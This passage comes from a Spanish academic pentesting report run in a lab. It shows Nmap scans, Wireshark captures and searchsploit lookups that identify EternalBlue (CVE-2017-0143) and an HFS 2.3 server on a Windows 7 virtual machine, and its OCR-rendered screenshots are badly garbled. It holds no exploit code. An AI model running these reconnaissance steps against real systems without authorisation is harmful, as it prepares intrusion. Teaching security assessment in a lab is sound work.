dispositivos presentes en una red. La opcién -O habilita la deteccion del sistema operativo, lo cual
es util para identificar el tipo de sistema que esta ejecutando cada dispositivo, ya sea Windows,
Linux, o algun otro sistema. Este reconocimiento puede incluir versiones especificas, lo que
proporciona datos clave para planificar los pasos posteriores de la auditoria de seguridad.

Por su parte, la opcidon -v aumenta la verbosidad del escaneo, proporcionando detalles
adicionales en tiempo real sobre el progreso de Nmap. Esto permite al usuario observar como se
van descubriendo los dispositivos y servicios en la red, facilitando la identificacion de posibles
objetivos para el pentesting. Durante el proceso, Nmap examina los puertos abiertos en cada
dispositivo y detecta servicios activos, como servidores web, bases de datos, o servicios de red, lo

que es esencial para conocer la superficie de ataque (Nmap, 2012)
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Descubre los siguientes puertos abiertos

lHustracion 35 Descubrimiento de puertos

(2 hosts left)

C host le
total ports

2 hosts

Fuente: EIoracién prpia.

El resultado del escaneo de puertos presenta un listado detallado de los puertos abiertos
detectados en la maquina objetivo. Este listado no solo muestra qué puertos estan abiertos, sino
también el tipo de servicios que estan asociados a cada uno de ellos. La informacion obtenida
puede incluir detalles sobre el servicio (por ejemplo, HTTP, SSH, o FTP), el estado del puerto (si
estd abierto o filtrado), y, en algunos casos, la version especifica del software que se esta
ejecutando en ese puerto(De Luz, 2024).

Este analisis es esencial como pentesters, ya que permite identificar posibles puntos de
entrada al sistema. Puertos abiertos como el 80 (HTTP) o el 443 (HTTPS) podrian indicar que el
dispositivo esta ejecutando un servidor web, mientras que puertos como el 22 (SSH) o el 3389
(RDP) revelan que el sistema tiene habilitados servicios de acceso remoto, los cuales pueden ser

objetivos potenciales de ataque si no estan adecuadamente protegidos(De Luz, 2024).
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La informacion detallada sobre los puertos abiertos y sus servicios asociados proporciona
una vision inicial de la superficie de ataque de la maquina objetivo, ayudando a los pentesters a

determinar las siguientes etapas de la evaluacion de seguridad (De Luz, 2024).

llustracion 36 Puertos Abiertos

orts (reset)

telnet

- domain

B/ /tcp o http
netbios-ssn
microsoft-ds

p
cp
L
p

[TP-Link Technologies)

:l kernel:2.6 cpe:/o:linux:linux_kernel:32
5 3 1_.|

Fuente: Elaboracion propia.

Informe detallado sobre los puertos abiertos y los servicios asociados en el sistema
operativo Windows 7

Este informe proporciona un analisis exhaustivo de los puertos de red abiertos en una
maquina que ejecuta Windows 7, asi como los servicios y aplicaciones gue estan asociados con
dichos puertos. El objetivo es identificar las posibles vulnerabilidades de seguridad y evaluar el
impacto que puede tener la exposicion de estos puertos en el entorno de red(De Luz, 2024).

En primer lugar, se enumeran los puertos abiertos en el sistema, junto con sus respectivos
numeros y protocolos (TCP/UDP). A continuacidn, se identifican los servicios asociados a cada
puerto, detallando el nombre del servicio, su funcion y el estado de ejecucion en el sistema.
Ademas, se describe el riesgo potencial de mantener estos puertos abiertos y se ofrecen
recomendaciones para su cierre 0 gestion adecuada, en caso de ser necesario(De Luz, 2024).

Ahora me muestra por cada una de las direcciones IP escaneadas los puertos TCP abiertos

y los servicios asociados.
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llustracion 37 Reporte del escaneo

Not shown:
STATE SER
open msr
open netbios-

unkno
unkno
unknown
unkno
unknown
unknown
unkno

g
vindows_7 cpe rosoftiwindows_
spl cpe:/o:microsoft:windows_
icrosoft:windows_
osoft Windows ¢ P1, windo 2008 1, Windows
indows 8 1 indows &.1 Upd
028 d ct 1

iom: Ir ntal

Fuente: Elaoraci()n propia.
La imagen muestra las direcciones IP y MAC de dispositivos conectados, identificando

especificamente el puerto 445/tcp y el servicio Microsoft-ds, Spl en win7.

Captura de trafico en Wireshark para analizar el trafico de red en la interfaz seleccionada.

« Filtra para capturar trafico ARP: comando “arp”
llustracion 37 Capturar trafico ARP

File Edit View Go Capture Analyze Stal Telephony Wirel Tool

dADMA® s BRE@ a « N > W E

e S, Destination
520550432 192. 1 E 239,255

622877207 192.1 1 255
724456990 192.1 1 255
825228687 192.1 E 255
926896310 192. 1 1 255
029185591 192.1 1 255
13744489: 255
2; 255

Workstation, Potential Browser

032887909 TpLinkTechno 97 Tell 192.168.5
7e:7f:30:86:94:46 RP 60 who has 192.168.5.17 Tell 192.168.5.104
1 192.168.5.1 2 1 60 membership general

192.168.5.102 ©0 membership t 7 Join group 239. 250 for any sources

192.168.5.106 ©0 membership Join group 2za. for any sources
215.6351 192.168.5.102 ©0 membership rt / Join group 224. for any sources
215 192.168.5.106 60 Membership r Join 239 18 for any sources
216 1 192.168.5.106 60 Membership r Join gr 239 250 for any sources
218 192.168.5.106 60 Membership rt / Join group 224 1 for any sources
221 TpLinkTechno_57:8c: r RP 80 Who has 192.168
265 TpLinkTechno_57:8c: r 60 Who has 192.168
279 192.168.5.1 239 5 . 25! 460 NOTIFY HTTP/1
279 192 460 NOTIFY HTTP/1
279 102 532 NOTIFY HTTP/1
279 102 524 NOTIFY HTTP/1
279 192 469 NOTIFY HTTP/1

102 508 NOTIFY HTTP/1

102 540 NOTIFY HTTP/1

102 469 NOTIFY HTTP/1

102 528 NOTIFY HTTP/1

192 522 NOTIFY HTTP/1

L]

iterface ethe, id ©
(FFffifrffirr:fe

® B wireshark_othOTCORW2.pcapng

Fuente: Elaboracion propia.
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El filtrado de trafico ARP en Wireshark, utilizando el filtro "arp”, permite capturar y
analizar las solicitudes y respuestas ARP en una red. ARP es esencial para mapear direcciones IP
a direcciones MAC, facilitando la comunicacion en la capa de enlace de datos. Este analisis ayuda
a detectar posibles problemas de conectividad y amenazas de seguridad, como el ARP spoofing,

al permitir la observacidn en tiempo real de las interacciones ARP (Laprovittera, 2024).

llustracion 39 Wireshark captura de trafico

File Edit View Go Capture Amalyze Statistics Telephony Wireless Tools Help

AODA® R BAR@ ««»n «>BE

520550432 0.1 . 525 NOTIFY * 1
75 133.622877207 192.168.0.1 239.255.255.250 SSDP 507 NOTIFY * HTTP/1.1
76 133.724456990 192.168.08.1 239.255.255.250 SSDP 462 NOTIFY * HTTP/1.1
77 133.825228687 192.168.0.1 239.255.255.250 S5DP 501 NOTIFY * HTTP/1.1
78 133.926896310 192.168.0.1 239.255.255.250 S5DP 533 NOTIFY * HTTP/1.1
79 134.829185591 192.168.6.1 239.255.255.250 SSDP 462 NOTIFY * HTTP/1.1
80 134.137444891 192.168.6.1 239.255.255.250 SSDP 521 NOTIFY * HTTP/1.1
81 134.232260071 192.168.0.1 239.255.255. 250 SSDP 515 NOTIFY * HTTP/1.1

ks’

84 158.350782323 /e:/1:30:86:94:46  Broadcast ARP 60 Who has 192.168.5.12 Tell 192.168.5.104

85 177.032887909 TpLinkTechno_97:8c:.. Broadcast 60 Who has 192.168.5.1067 Tell 192.168.5.1

86 196.218850774 7e:7f:30:86:94:46 Broadcast 60 Who has 192.168.5.1? Tell 192.168.5.104

87 212.399823831 192.168.5.1 224.0.0.1 60 Membership Query, general

88 212.636789898 192.168.5.102 224.0.0.22 60 Membership Report / Join group 239. .255.250 for any sources

89 214.173410157 192.168.5.106 224.0.0.22 60 Membership Report / Join group 224.0.0.252 for any sources

90 215.635120859 192.168.5.102 224.0.0.22 60 Membership Report / Join group 224.0.0.252 for any sources

91 215.673439940 192.168.5.106 224.0.0.22 60 Membership Report / Join group 239 102.18 for any sources

92 216.672325751 192.168.5.106 224.0.0.22 60 Membership Report / Join group 239 255.250 for any sources

93 219.170652604 192.168.5.106 224.0.0.22 60 Membership Report / Join group 224 251 for any sources

94 221.170939586 TpLinkTechno_97:8c:.. Broadcast 60 Who has 192.168.5.106? Tell 192.168.5.1

95 265.342058672 TpLinkTechno _97:8c:.. Broadcast 60 Who has 192.168.5.106? Tell 192.168.5.1

[Time 0 e a ff ff ff ff ff ff 08 60 27 92 ) 08 00 #5708

00 e5 04 fd 00 00 80 11 55 ¢O a8 05 66 cO a8
05 ff 8 d1 a 2 8

£ FAcnRen

4 bi 4 41 44 4 1 ADCDADAD GCACACAC
(1944 bits) ACACACAC A- FHEPF
CELEHFCE PFFFACAC

ACACACAC ABN. - SMB

Dst: Broadcast (ff:ff:ff:ff:ff:ff) 56 L

.12, Dst: 192.168.5.255 4 4 4f 5 4 \MAILSL OT\B|

1 €SO, ECN: Not-ECT)

[validation disabled]
nverified]

® B Internet Protocol Version 4 (ip), 20 byte(s) Packets: 290 - Displayed: 290 (100.0%)

Fuente: Elaboracion propia.

e Captura de trafico en Wireshark, observando servicios como SSDP, BROWSER vy
NetBIOS para deteccion de dispositivos.

o Esta captura de trafico de Wireshark muestra la actividad de descubrimiento y anuncio de
dispositivos en una red local. Varios dispositivos estan utilizando SSDP para descubrir
servicios, y el dispositivo PC202006 esta transmitiendo su presencia en la red usando el

protocolo BROWSER.
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e Resultados Esperados: Se observan solicitudes y respuestas ARP que ayudaran a

identificar la IP de Windows 7.

lustracion 40 Uso de Nmap e ingreso a HFS desde Kali Linux

Kali_Linux_RIMK [Corriendo] - Oracle VirtualBox

KaliLinux & KaliTools = KaliDocs & KaliForums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

£
& User

—/ Folder kali@KaliRiml: ~

s Home

0 folders, 0 files, 0 bytes

2024-11-82 14:41 -@5
) search 2024-11-82 14:41 -05

[ e
9 Select
(At [Invert | Mask |

scanned in ©.07 seconds
0 items selected

kA Actons

g ) at 2024-11-02 14:45 -05

[Archive | [ Get tist |
%% Server information
HitpFile Serve

r 2.3
Server time: 02/11/2024 02:35:43 p.m.
Server uptime: 00:22:39

ap.org/submit/ .

Fuente: Elaboracion propia
La imagen capturada en Kali Linux muestra los resultados de un escaneo de puertos
utilizando la herramienta Nmap. Este tipo de escaneo es una técnica fundamental en la fase de
reconocimiento de un pentesting, ya que permite identificar los servicios y aplicaciones que estan
en ejecucion en un sistema objetivo.
e Herramienta: Nmap es una herramienta de red muy popular utilizada para descubrir
hosts en una red, asi como para detectar los servicios y versiones que estan en ejecucion
en esos hosts(De Luz, 2024).
e Objetivo: El objetivo del escaneo es la direccion IP 192.168.5.102, en el puerto 8080.
Este puerto esta cominmente asociado con servicios HTTP, pero en este caso se ha

identificado un servidor HTTP File Server (HFS) (De Luz, 2024).

125



e Resultados: El escaneo ha identificado que en el puerto 8080 esta corriendo un
servidor HTTP File Server version 2.3. Ademas, se ha obtenido informacion sobre el
sistema operativo (Windows) y el tipo de servidor web(De Luz, 2024).
Implicaciones de Seguridad:
La identificacion de un servidor HTTP File Server puede tener las siguientes implicaciones
de seguridad:
e Vulnerabilidades conocidas: Las versiones antiguas de HFS pueden tener
vulnerabilidades conocidas que podrian ser explotadas por un atacante.
e Exposicion de archivos: Si el servidor no esta configurado correctamente, podria
permitir el acceso no autorizado a archivos sensibles.
e Ataques de fuerza bruta: Las credenciales de acceso al servidor podrian ser objeto de
ataques de fuerza bruta (Karpesky, 2018).
Fase Andlisis de Vulnerabilidades
Escaneo de Puertos con Nmap
e Se realiza un escaneo de puertos en la IP de Windows 7: con el comando “nmap -SS -p-

192.168.5.102”
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llustracion 41 Escaneo con Nmap -sS -p-

' Kali_Linux_RIMK [Corriendo] - Oracle VirtualBox

File Actions Edit Wiew Help

at 2a24-12-3@ 16144 —@5

irtual NIC)

» seconds

Fuente: Elaboracion propia.
Analisis de vulnerabilidades con nmap: escaneo completo de puertos y servicios
En esta imagen se realiza un escaneo de red en dos fases utilizando la herramienta nmap
para evaluar la seguridad de la maquina 192.168.5.102 asi:
o Deteccion de puertos abiertos:
o Comando: nmap -sS -p- 192.168.5.102
o Objetivo: Identificar todos los puertos TCP y UDP en estado de escucha,
empleando un escaneo stealth (sS) para minimizar la deteccion.
o Identificacion de servicios y versiones:
o Comando: nmap -sV -sC 192.168.5.102
o Objetivo: Determinar las versiones de los servicios asociados a los puertos
abiertos, utilizando un escaneo de version (sV) y ejecutando scripts comunes (sC)
para obtener informacion adicional sobre la configuracion del sistema (De Luz,

2024).
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lustracion 42 Escaneo con Nmap -sV -sC

root@KaliRimk: ~

-180-30 1
1 und-sli‘ulr

Host 1s up
Not shown
PORT

HTTPAPI ht : DP/UPRP)
HTTPAPI htt| SDP/UPNP)
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Microsoft HTTPAPI @ DP/UPNP)

-0
indows
indows
indows
indows

1 7601
twindows_

Fuente: Elaboracién propia.
Captura de Tréfico de Escaneo con Wireshark
e En Wireshark, filtra para ver solo los paquetes SYN enviados durante el escaneo: para ello

usamos el comando “tcp.flags.syn == 1 && tcep.flags.ack == 0” (Laprovittera, 2023)

llustracion 43 Analisis de trafico
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Fuente: Elaboracion propia.
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Anélisis de Tréfico

En la imagen se puede detectar un patron de trafico sospechoso en la red, caracterizado por
un alto volumen de paquetes TCP SYN enviados desde una direccion IP especifica hacia un
servidor en particular. Este comportamiento es indicativo de un posible escaneo de puertos o un
ataque SYN Flood.
Detalles Clave:

e Protocolo: TCP

e Tipo de Paquete: SYN (Sincronizacion)

e Direccién de Origen: 192.168.5.105

e Direccién de Destino: 192.168.5.102 (Puerto 80: HTTP)

o Comportamiento Sospechoso: Gran cantidad de paquetes SYN sin respuesta SYN-ACK,
lo que sugiere que el atacante estd intentando saturar el servidor con solicitudes de
conexion (Laprovittera, 2023).

Posibles Implicaciones:

o [Escaneo de Vulnerabilidades: El atacante podria estar buscando puertos abiertos y
servicios vulnerables para explotarlos.

e Denegacién de Servicio (DoS): Un ataque SYN Flood busca saturar los recursos del
servidor, impidiendo que atienda a las solicitudes legitimas (Cloudflare, s. f.-a).

Identificacion de Vulnerabilidades
« Ahora con los datos obtenidos, se buscaran las vulnerabilidades asociadas con los servicios

detectados usando searchsploit o consultando bases de datos de CVEs: searchsploit SMB.
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llustracion 44 Busqueda del exploit SMB

Kali_Linux_RIMK [Corriendo] - Oracle VirtualBox

SRR 2

S root@KaliRimk: ~

File Actions Edit View Help

SX - 'mount_
rind
- Information Disclosure
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e Overflow ' ' (MS@7-029) (Metasploit)

Remote Code Execution (Metasploit) (MS17-21@)

tasploit)

) )
Microsoft Windows — (Metasploit)
Bicrosoft windows - [l Remote Code Execution Scanner (MS17-218) (Metasploit) [l
W1 otl ¢ sponse Denial ot Service

1" 2_COMPRESSION_CAPABILITIES' Buff erflow (PoC)

Fuente: Elaboracién robia.

La imagen muestra una captura de pantalla de la herramienta Kali Linux ejecutada en una
maquina virtual de Oracle VirtualBox. En la terminal de Kali Linux, se utiliza el comando
searchsploit smb para buscar vulnerabilidades relacionadas con el protocolo SMB (Server Message
Block) en la base de datos de Exploit-DB.

1. Resultados de busqueda:
o Titulo del exploit: Describe la vulnerabilidad y su objetivo, como "Microsoft
Windows - SMB Remote Code Execution (MS17-010)".
o Ruta del exploit: Indica la ubicacion del archivo del exploit en el sistema.

El MS17-010, conocido por la vulnerabilidad "EternalBlue", permite la ejecucion remota

de cddigo en sistemas Windows sin parches, siendo particularmente relevante para la maquina

objetivo con Windows 7. Ademas, se puede utilizar el comando nmap 192.168.5.102 -

130



script="vuln" -min-parallelism 100 -d para identificar vulnerabilidades asociadas a la direccion IP

192.168.5.102.

lHustracion 81 -script=""vuln"' -min-parallelism 100 -d

N

root@KaliRimk: ~

File Actions

min 1@@,
upP 100

) got zero responses Lve ery: _s i ._dns-sd._udp.local

5 and (icmp or icmp6 or ((tcp) and (src host 192

BRBRpG R

Funte: Elaboracion propia.
El comando “nmap 192.168.5.102 -script-"vuln" -min-parallelism 100 -d” se ha utilizado
para escanear la maquina con la direccion IP 192.168.5.102 en busca de posibles vulnerabilidades
(Nmap, 2012).
Detalles de los argumentos:
e 192.168.5.102: Esta es la direccion IP del objetivo a escanear.
. -script-""vuln™: Este argumento indica a Nmap que ejecute todos los scripts de NSE
(Nmap Scripting Engine) relacionados con la deteccion de vulnerabilidades. Estos scripts
buscaran exploits conocidos y configuraciones incorrectas que puedan comprometer la

seguridad del sistema (Nmap, 2012).
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e -min-parallelism 100: Este argumento establece el numero minimo de conexiones
paralelas que Nmap realizara durante el escaneo. Esto puede acelerar el proceso de escaneo
(Nmap, 2012).

e -d: Este argumento activa el modo de depuracion, lo que proporciona informacion
adicional sobre el progreso del escaneo (Nmap, 2012).

Resultados del Escaneo:
La salida del comando muestra que Nmap ha identificado varios puertos abiertos en la
maéaquina objetivo, incluyendo:

e Puertos conocidos: 139/tcp (NetBIOS), 445/tcp (SMB), 135/tcp (RPC), 554/tcp (RTSP).
Estos puertos suelen estar asociados con servicios de red comunes como el compartimiento
de archivos y la transmision de video.

e Puertos menos comunes: Se han encontrado varios puertos abiertos con nimeros altos,
como 49158/tcp, 5357/tcp, etc. Estos puertos podrian indicar servicios personalizados o

menos conocidos.

lustracion 82 -script=""vuln" Resultados
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Fuente: Elaboracion propia.
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Analisis del Escaneo Nmap:

El comando Nmap se utiliz6 para escanear la maquina con la direccion IP 192.168.5.102
en busca de puertos abiertos y vulnerabilidades. Los resultados muestran una serie de puertos TCP
abiertos, incluyendo:

e Puertos conocidos: 139/tcp (NetBIOS), 445/tcp (SMB). Estos puertos se asocian
comunmente con servicios de red como el compartimiento de archivos.
e Puertos menos conocidos: Se encontraron varios puertos abiertos con numeros altos, lo
que podria indicar servicios personalizados 0 menos comunes.
Vulnerabilidad Identificada:

El script NSE smb-vuln-ms17-010 ha detectado una vulnerabilidad critica en el servicio
SMBvV1 de la maquina objetivo. Esta vulnerabilidad, conocida como EternalBlue, permite la
ejecucion remota de codigo, lo que significa que un atacante podria tomar el control completo del
sistema si explota esta vulnerabilidad (Conasa, 2024) (Nmap, s. f.-b)&.

Detalles de la Vulnerabilidad:

e CVE: CVE-2017-0143

e Riesgo: Alto

e Impacto: Ejecucion remota de cédigo (INCIBE, 2017).
Implicaciones:

La presencia de esta vulnerabilidad representa un riesgo significativo para la seguridad de
la maquina. Un atacante podria explotarla para:

e Obtener acceso no autorizado: Obtener acceso completo al sistema operativo y a los

datos almacenados en la maquina.
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e Instalar programas maliciosos: Instalar software malicioso, como ransomware 0
troyanos, para cifrar datos o robar informacion.
o Realizar ataques a otros sistemas: Utilizar la maquina comprometida como punto de

partida para atacar otros sistemas en la red (IBM, 2022).

llustracion 83 Detalles CVE-2017-0143

1 Detalle de CVE-2017-0143 |

. .’
Descripcion
El servidor SMBv1 en Microsoft Windows Vista SP2; Windows Server 2008 SP2 y R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012
Gold y R2; Windows RT 8.1; Windows 10 Gold, 1511 y 1607; y Windows Server 2016 permite a atacantes remotos ejecutar codigo arbitrario a
través de paquetes disefiados, también conocida como "vulnerabilidad de ejecucién remota de cédigo SMB en Windows". Esta vulnerabilidad
es diferente de las descritas en CVE-2017-0144, CVE-2017-0145, CVE-2017-0146 y CVE-2017-0148.

> )
Metrica | vesicnsodecvss REROETEIEE Version 2.0de cvss

Los esfuerzos de enriquecimiento de NVD hacen referencia a informacidén disponible ptblicamente para asociar cadenas de vectores. También se muestra

informacidn CVSS apertada por otras fuentes.

Cadenas de gravedad y vectores de CVSS 3.x:

@ NIST: NVD Vector: CVSS:2.1/AV:N/AC:L/PR:L/UL:N/S:U/C:H/I:H/A:H
Fuente: toma de https://nvd.nist.gov/vuln/detail/cve-2017-0143

Detalles de la vulnerabilidad.
Analisis y Descripcidn de la Vulnerabilidad CVE-2017-0143 (EternalBlue)

Comunmente conocida como EternalBlue, afecta al protocolo SMBvV1 (Server Message
Block version 1) en mdltiples sistemas operativos de Microsoft, incluyendo Windows Vista,
Windows Server 2008, Windows 7, Windows 8.1, Windows Server 2012 y Windows 10. Esta
vulnerabilidad permite a un atacante remoto ejecutar codigo arbitrario en un sistema vulnerable,
lo que significa que podria tomar control completo del sistema(Nist, 2017).
Impacto de la Vulnerabilidad

Las consecuencias de explotar esta vulnerabilidad son graves y pueden incluir:

e Ejecucion de cddigo arbitrario: Un atacante puede ejecutar cualquier cédigo en el

sistema comprometido, lo que le permite instalar programas, ver, modificar o eliminar
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datos, o crear nuevas cuentas con todos los derechos de usuario.

o Denegacidn de servicio: El atacante puede causar que el sistema se vuelva inutilizable al
consumir todos sus recursos o al corromper archivos criticos.

e Propagacion de malware: La vulnerabilidad puede ser utilizada para propagar malware,
como ransomware, a través de una red (Nist, 2017).

Vector de Ataque
El vector de ataque para esta vulnerabilidad es la red. Un atacante remoto puede explotar

esta vulnerabilidad enviando paquetes especialmente disefiados a un sistema vulnerable a través

de la red(Akamai, s. f.-b).

Analisis de vulnerabilidades y amenazas para el caso de la aplicacién Rejetto

lHustracion 84 Ejecucion del comando Nmap Script vuln -Sv a la IP objetivo

kali@KaliRimlc ~

File Actions Edit

up
oo

up),

oft-ds (workgroup: WORKGROUP)

ion bypass
t only limit access t

es.

Fuente: Elaboracion propia.

common HTTP methods and in misconfigure

Esta captura muestra el proceso de un escaneo detallado de vulnerabilidades usando nmap

en una maquina Windows que ejecuta servicios de red y un servidor HFS. Se identificaron varios
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puertos abiertos con sus respectivos servicios, y se detectaron vulnerabilidades explotables en el
servidor HFS en el puerto 8080. Esta informacion es util en auditorias de seguridad y pruebas de

penetracidn para analizar puntos de entrada potenciales en la red.

lHustracion 85 Nmap Script vuln -Sv a la IP objetivo se identifica el CVE-2011-3192
3 kali@KaliRiml: ~

File Actions Edit View Help

Slowloris DO
State:

p many connections to the
possible. It lishes this by opening
r and sendi L . By doing so, it

esgurces cCaus

service attack when numerous

/UPRnP)

Couldn't find a .
ouldn't find L ibilities.

msTpC
msTpc
msTpc
msTpC
mMSTPC icrosoft
msTp icrosoft
Host: P 6; 0S: C oft:windows

ers (ms17-010)

in Microsof

Fuente: Elaboracion propia.
Este escaneo revela que el host objetivo estd potencialmente en riesgo de ataques de DoS,
vulnerabilidades en Apache y vulnerabilidades graves en SMB, que podrian llevar a un posible

compromiso total del sistema.
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llustracion 86 Descripcion del CVE-2011-3192

K Detalle de CVE-2011-3192
MODIFICADO

Esta vulnerabilidad ha sido modificada desde que NVD la analizo por dltima vez. Esta pendiente de un nuevo anélisis que puede dar lugar

a mas cambios en la informacién proporcionada.

. .
Descripcion
Elfiltro de rango de bytes en Apache HTTP Server 1.3.x, 2.0.x a 2.0.64 y 2.2.x a 2.2.19 permite a atacantes remotos provocar una denegacién de
servicio (consumo de memoria y CPU) a través de un encabezado de rango que expresa multiples rangos superpuestos, como se exploté en
agosto de 2011, una vulnerabilidad diferente a CVE-2007-0086.

> -
Metrica | vesisn4odecyss | versiénaxdecvss (IR 2.0 de CVSS

Los esfuerzos de enriquecimiento de NVD hacen referencia a informacion disponible publicamente para asociar cadenas de vectores. También se muestra
informacién CVSS aportada por otras fuentes.

Cadenas de gravedad y vectores de CVSS 2.0:

w NIST: NVD Puntuacién base: [FEREe] Vector: (AV:N/AC:L/Au:N/C:N/I:N/AC)

Fuente: Elaboracion propia.
La imagen muestra informacion detallada sobre la vulnerabilidad CVE-2011-3192 en el

sitio web de la NVD (National Vulnerability Database).

llustracion 87 Analisis del trafico luego de usar Nmap Script vuln -Sv a la IP objetivo

&

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ﬂDﬂ@ E.m@qe-)ﬂ-e-)-!

Protocol Length Info
.312839981 42 Who has 192.168.5.1? Tell 192.168.5.165
.314252115 60 192.168.5.1 is at ed:c3:2a:97:8c:e7

120091237 239,255.102.18 for any sources
60 Membership Report n group 2 52 for any sources

949308497 192.168.5.102 224.0.0.22 66 Membership Report / Join group 239.255.255.250 for am

89 128.119467142 192.168.5.106 224.0.0.22 IGMPV3 6@ Membership Report Joln group 224.0.0.252 Tor any sources

90 129.897171403 TpLinkTechno_97:8¢:.. Broadcast ARP 60 Who has 192.168.5.1067 Tell 192.168.5.1

91 174.464198358 192.168.5.1 239.255.255.250 SSDP 460 NOTIFY * HTTP/1.1

92 174.464199023 192.168.5.1 239.255.255.250 SSDP 469 NOTIFY * HTTP/1.1

93 174.464199159 192.168.5.1 239.255.255.250 SSDP 532 NOTIFY * HTTP/1.1

94 174.464199297 192.168.5.1 239.255.255.250 SSDP 524 NOTIFY * HTTP/1.1

95 174.464199424 192.168.5.1 239.255.255.250 SSDP 469 NOTIFY * HTTP/1.1

96 174.464199562 192.168.5.1 239.255.255.250 SSDP 508 NOTIFY * HTTP/1.1

97 174.464199714 192.168.5.1 239.255.255.250 SSDP 540 NOTIFY * HTTP/1.1

98 174.464199841 192.168.5.1 239.255.255.250 SSDP 469 NOTIFY * HTTP/1.1

99 174.464248684 192.168.5.1 239.255.255.250 SSDP 528 NOTIFY * HTTP/1.1

100 174.464248821 192.168.5.1 239.255.255.250 SSDP 522 NOTIFY * HTTP/1.1

101 174.464248966 192.168.5.1 239.255.255.250 SSDP 460 NOTIFY * HTTP/1.1

102 174.464249104 192.168.5.1 239.255.255.250 SSDP 469 NOTIFY * HTTP/1.1

103 174.464249222 192.168.5.1 239.255.255.250 SSDP 532 NOTIFY * HTTP/1.1

104 174.464249374 192.168.5.1 239.255.255.250 SSDP 524 NOTIFY * HTTP/1.1

105 174.464249511 192.168.5.1 239.255.255.250 SSDP 469 NOTIFY * HTTP/1.1

106 174.464249634 192.168.5.1 239.255.255.250 SSDP 508 NOTIFY * HTTP/1.1

107 174.465884137 192.168.5.1 239.255.255.250 SSDP 540 NOTIFY * HTTP/1.1

108 174.465884687 192.168.5.1 239.255.255.250 SSDP 469 NOTIFY * HTTP/1.1

109 174.465884795 192.168.5.1 239.255.255.250 SSDP 528 NOTIFY * HTTP/1.1

110 174.465884894 192.168.5.1 239.255.255.250 SSDP 522 NOTIFY * HTTP/1.1

111 174.975453142 TpLinkTechno_97:8c:.. Broadcast ARP 60 Who has 192.168.5.106? Tell 192.168.5.1

112 201.360395953 fe80::a00:27ff:fe62.. ffO2::2 ICMPVE 62 Router Solicitation

113 218.107629697 TpLinkTechno_97:8c:.. Broadcast ARP 60 Who has 192.168.5.1067 Tell 192.168.5.1

® fb 81 60 01 0
60 o0 @@ GO BB e e

Tnternet Groun Manaoe

Fuente: Elaboracion propia.

137



La captura en Wireshark muestra trafico de red en una red local, destacando:

1. Paquetes IGMPv3: El host 192.168.5.102 se une a varios grupos multicast (224.0.0.22,
239.255.255.250, etc.), indicando interés en recibir trafico multicast.

2. Paquetes ARP: Solicitudes de resolucion de IP a MAC, como el host 192.168.5.17
preguntando por 192.168.5.105 y el dispositivo TplinkTechno_97:8c, haciendo consultas
ARP en lared.

Este trafico sugiere actividad multicast y consultas frecuentes para descubrir otros

dispositivos en la red.

lHustracion 88 Uso del comando Nmap -A -T4 a la IP objetivo

kali@KaliRimk: ~

File Actions Edit

ack 1 microsoft-ds (workgroup: WORKGROUP)

Jo:microsoft:windows

ndows 7 Professional 6.1)
onal

r: <unknown>, NetBIOS MAC: @8:

Fuente: Elaboracion propa.
La imagen muestra un escaneo de Nmap con el comando -A -T4, realizado en Kali Linux
sobre la IP 192.168.5.102. Revela puertos abiertos y servicios en ejecucion, incluyendo MSRPC,
SMB y HTTP en varios puertos. También proporciona detalles sobre la configuracion de seguridad

SMB y el sistema operativo del host, que es Windows 7 Professional SP1.
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llustracion 89 Analisis de trafico al usar Nmap -A -T4 a la IP objetivo

]
BmEpkor-

Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AOAO cBBERcc¢>n<+MEoc o

B111 1265.5468144.. 192.168.5.185 192.168.5.162 74 66576 — 2869 [SYN] Seq=0 Win=32126 Len=9 MSS=1468 SACK_PERM TSval=2858171869 TSecr=6 WS=128

8112 1265.5491818.. 192.168.5.182 192.168.5.185 74 2869 - 68576 [SYN, ACK] Seq=8 Ack=1 Win=8192 Len=8 MSS=1468 WS=256 SACK PERM TSval-442188 TSecr=2858171869
8113 1265.5494395.. 192.168.5.185 192.168.5.162 66 66576 - 2869 [ACK] Seg=1 Ack=1 Win=32128 Len=8 TSval-2856171871 TSecr=442188
8114 1265.6602147.. 192.168.5.185 192.168.5.162 HTTP 287 OPTIONS / HTTP/1.1
8115 1265.7676156.. 192.168.5.185 192.168.5.182 TCP 66 58618 — 2869 [FIN, ACK] Seq=157 Ack=1 Win=32128 Len=8 TSval-2858172829 TSecr=441567
8116 1265.7690451.. 192.168.5.185 192.168.5.182 TCP 74 66576 — 2869 [SYN] Seg=6 Win=32120 Len-9 MSS=1468 SACK_PERM TSval-2656172031 TSecr=8 WS=128
8117 1265.7162835.. 192.168.5.182 192.168.5.185 TCP 74 2669 - 68578 [SYN, ACK] Seq=8 Ack=1 Win=6192 Len=8 MSS=1460 WS=256 SACK PERM TSval-442136 TSecr=2658172831
8118 1265.7183144.. 192.168.5.185 192.168.5.162 TCP 66 66576 — 2869 [ACK] Seg=1 Ack=1 Win=32128 Len=8 TSval-2856172832 TSecr=442196
8119 1265.7118143.. 192.168.5.185 192.168.5.182 HTTP 583 Continuation
8120 1265.7133773.. 192.168.5.162 192.168.5.185 TcP 66 2869 ~ 58600 [ACK] Seg=1 Ack=223 Win=66566 Len=B TSwal-442196 TSecr=2856171814
8121 1265.7148264.. 192.168.5.182 192.168.5.185 HTTP 571 HTTP/1.1 4686 Bad Request (text/html)
8122 1265 7142795 197 _16R.5_185 197 16R.5.182 HTTP 73 Continuatinn
TS S
8124 1265.8677815.. 192.168.5.182 192.168.5.185 66 2869 ~ 66576 [ACK] Se
8125 1265.9171484.. 192.168.5.182 192.168.5.185 TCP 66 2869 - 58618 [ACK] Seq=1 Ack=158 Win=66566 Len=B TSval=442217 TSecr=2856172829
8126 1272.6578666.. 192.168.5.185 192.168.5.162 TCP 66 68576 - 2869 [FIN, ACK] Seq=222 Ack=1 Win=32128 Len=8 TSval-2858178988 TSecr=442286
8127 1272 . 6585765.. 192.168.5.185 192.168.5.162 TCP 74 57658 — 2869 [SYN] Seg=8 Win=32126 Len=9 MSS=1468 SACK_PERM TSval=2858178988 TSecr=8 WS=128
8128 1272.6623842.. 192.168.5.102 192.168.5.185 TCP 74 2869 - 57858 [SYN, ACK] Seq=8 Ack=1 Win=8192 Len=8 MSS=1468 WS=256 SACK_PERM TSval=442831 TSecr=2858178988
